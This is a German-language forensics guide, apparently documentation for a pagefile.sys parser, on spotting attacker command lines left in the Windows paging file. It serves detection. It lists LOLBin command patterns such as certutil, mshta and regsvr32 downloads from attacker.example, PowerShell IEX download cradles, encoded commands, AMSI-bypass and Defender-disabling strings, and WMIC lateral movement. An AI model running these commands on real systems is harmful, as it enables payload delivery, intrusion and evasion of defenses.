Sobald ein Angreifer irgendetwas auf einem Windows-Host ausführt, lebt
die Befehlszeile so lange im Speicher, wie der Elternprozess existiert —
und oft länger in Caches wie Sysmons Ereignispuffern, der Historie von
cmd.exe und den PROCESSINFO-Strukturen des Kernels. Wird dieser
Speicher ausgelagert, landet die Befehlszeile in pagefile.sys.
Der Tab Artifacts → Command lines des Parsers fängt die häufigsten Muster automatisch ab. Dieser Beitrag ist die Referenz dazu, was diese Muster sind, wie sie aussehen und wie Angreifer sie zu verschleiern versuchen.
Die LOLBin-Shortlist
Die Windows-Binaries, zu denen Angreifer am häufigsten greifen, alle mit charakteristischen Befehlszeilenformen:
| Binary | Warum Angreifer es nutzen |
|---|---|
powershell.exe / pwsh.exe | Scripting, Encoded Payloads, AMSI-Bypass-Tricks |
cmd.exe | Shell-Zugriff, Piping, einfache Downloader |
certutil.exe | -urlcache -split -f — File-Downloader, Base64-Decode |
bitsadmin.exe | transfer myjob /download … — File-Downloader |
mshta.exe | Führt HTA / JScript / VBS von einer URL aus |
rundll32.exe | Lädt eine beliebige DLL, führt benannten Export aus |
regsvr32.exe | „Squiblydoo" — /s /i:http://…/payload.sct scrobj.dll |
wmic.exe | process call create, Lateral Movement |
wscript.exe / cscript.exe | VBS-/JScript-Ausführung |
installutil.exe | .NET InstallUtil bypass von AppLocker |
msbuild.exe | Inline-Task-Ausführung von beliebigem C# |
PowerShell-Muster
PowerShell ist die mit Abstand größte Quelle für Angreifer-Befehlszeilen in Pagefile-Dumps. Wonach man greppen sollte:
powershell.exe -nop -w hidden -enc <base64>
powershell -ExecutionPolicy Bypass -File C:\…
powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://…')"
powershell -EncodedCommand <base64>
pwsh -nop -ep bypass -c "…"
Der Encoded Command ist am ergiebigsten: base64-dekodieren (innen
liegt UTF-16LE) und Sie haben den tatsächlichen PowerShell-Quelltext.
Der Tab Artifacts → Command lines des Parsers erfasst bis zu 256
Zeichen nach dem powershell-Token, was meist reicht, um die volle
-enc-Payload mitzunehmen.
Wenn Sie -enc oder -EncodedCommand sehen:
echo "<base64>" | base64 -d | iconv -f UTF-16LE -t UTF-8
…zum Dekodieren.
Andere PowerShell-Hinweise, nach denen sich das Greppen im Tab Strings lohnt:
[System.Net.WebClient],Net.WebClient,DownloadString,DownloadFile.Invoke-Expression,IEX,iex.[System.Reflection.Assembly]::Load,[Reflection.Assembly]::Load— In-Memory-.NET-Loading.[Convert]::FromBase64String— fast immer gefolgt von einer Payload.AmsiUtils,amsiInitFailed— AMSI-Bypass-Versuche.Set-MpPreference -DisableRealtimeMonitoring— Defender-Deaktivierung.
certutil-Downloader
Ein klassisches File-Download-Muster:
certutil.exe -urlcache -split -f http://attacker.example/payload.exe out.exe
certutil -urlcache -split -f https://… encoded.b64
certutil -decode encoded.b64 out.exe
certutil ist von Microsoft signiert und überall vorinstalliert, also
beliebt bei Angreifern. Filtern Sie im Tab Command lines nach
certutil oder greppen Sie im Tab Strings nach -urlcache.
bitsadmin-Downloader
bitsadmin /transfer myjob /download /priority high http://… C:\Users\Public\x.exe
In modernen Engagements seltener, aber bei älteren Malware-Familien weiterhin anzutreffen.
mshta und HTA-Payloads
mshta.exe http://attacker.example/p.hta
mshta vbscript:CreateObject("Wscript.Shell").Run("…")
mshta javascript:…
Varianten von mshta vbscript:… und mshta javascript:… lohnen
besonders das Greppen — sie laufen inline, ohne die Disk zu berühren.
rundll32 + DLL-Sideloading
rundll32.exe shell32.dll,#61 "C:\…"
rundll32.exe C:\Users\Public\evil.dll,DllMain
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();…
Die javascript:-Variante existiert dank eines Microsoft-Moniker-
Eigenheit. Nach rundll32 filtern und jede Zeile prüfen — die meisten
legitimen rundll32-Aufrufe haben ein numerisches Ordinal oder einen
erkennbaren Microsoft-DLL-Namen; alles, was aus %TEMP%, %PUBLIC%,
%PROGRAMDATA% oder einem Benutzerprofil lädt, ist verdächtig.
regsvr32 „Squiblydoo"
regsvr32 /s /n /u /i:http://attacker.example/payload.sct scrobj.dll
Eine signierte Microsoft-Binary, die Remote-Scriptlet-Inhalt lädt. Suchen
Sie nach regsvr32 + http.
WMIC für Lateral Movement
wmic /node:target process call create "powershell -enc …"
wmic process where name='lsass.exe' get processid
wmic /node: ist das Smoking-Gun für Lateral Movement — legitime
administrative Verwendung auf Arbeitsplätzen ist selten.
Living-off-the-Land-Verschleierung
Echte Angreifer verschleiern. Übliche Tricks, die trotzdem lesbare Fragmente im Pagefile hinterlassen:
- Umgekehrte Strings:
('xeotuper' | ForEach-Object {…})— String rückwärts lesen. - Char-Code-Arrays:
[char[]](0x70,0x6f,0x77,…)— zu ASCII dekodieren. - String-Verkettung:
"po" + "wer" + "shell"— beide Hälften bleiben als dekodierte Strings im Speicher. - Umgebungsvariablen-Substitution:
%comspec% /c …,%PSEXEC%. - Wechselnde Groß-/Kleinschreibung:
PoWeRsHeLl— Windows ist das egal, aber simple Greps fallen darauf herein. Die Regex dieses Parsers ist standardmäßig case-insensitive.
Der dekodierte String landet zur Laufzeit fast immer im Speicher — also zeigt sich auch bei verschleierter Invocation die effektive Befehlszeile in der Nähe als gut lesbare Strings.
Querverweise mit Zeitstempeln
Ein Pagefile allein hat keine Zeitstempel. Um ein Finding zeitlich zu verankern:
- Mit dem Ereignisprotokoll
Microsoft-Windows-Sysmon/Operational(EventID 1, Prozesserzeugung) paaren — dieselbe Befehlszeile erscheint mit Zeitstempel. - Mit PowerShell
Microsoft-Windows-PowerShell/Operational(EventID 4104, Script-Block-Logging) paaren. - Mit dem
Security-Log (EventID 4688, Prozesserzeugung, sofernAuditProcessCreationmit Befehlszeilen-Auditing aktiviert ist) paaren.
Wenn Sie diese Ereignisprotokolle ebenfalls haben, ist der Workflow: verdächtige Befehlszeile im Pagefile finden → auf den EVTX-Eintrag zurückmatchen → Prozessbaum, Eltern, User, Zeitstempel bekommen.
Was die Regex dieses Tools fängt
Die command-Artefakt-Regex matcht bis zu 256 Zeichen nach jedem von:
cmd.exe, powershell / pwsh, wscript.exe, cscript.exe,
rundll32.exe, mshta.exe, regsvr32.exe, certutil.exe,
bitsadmin.exe. Case-insensitive. Das deckt den Großteil praktischer
Angreifer-Tradecraft ab.
Für den Rest — wmic, installutil, msbuild,
vssadmin delete shadows usw. — nutzen Sie den Tab Strings und
filtern manuell.
Verwandt
- Wie pagefile.sys-Forensik tatsächlich funktioniert — wie der vollständige Regex-Katalog aussieht.
- Anmeldedaten in pagefile.sys finden — viele Befehlszeilen enthalten Credentials inline.
- Wie man pagefile.sys sichert — die Datei sichern, bevor das Beacon des Angreifers zurückkommt.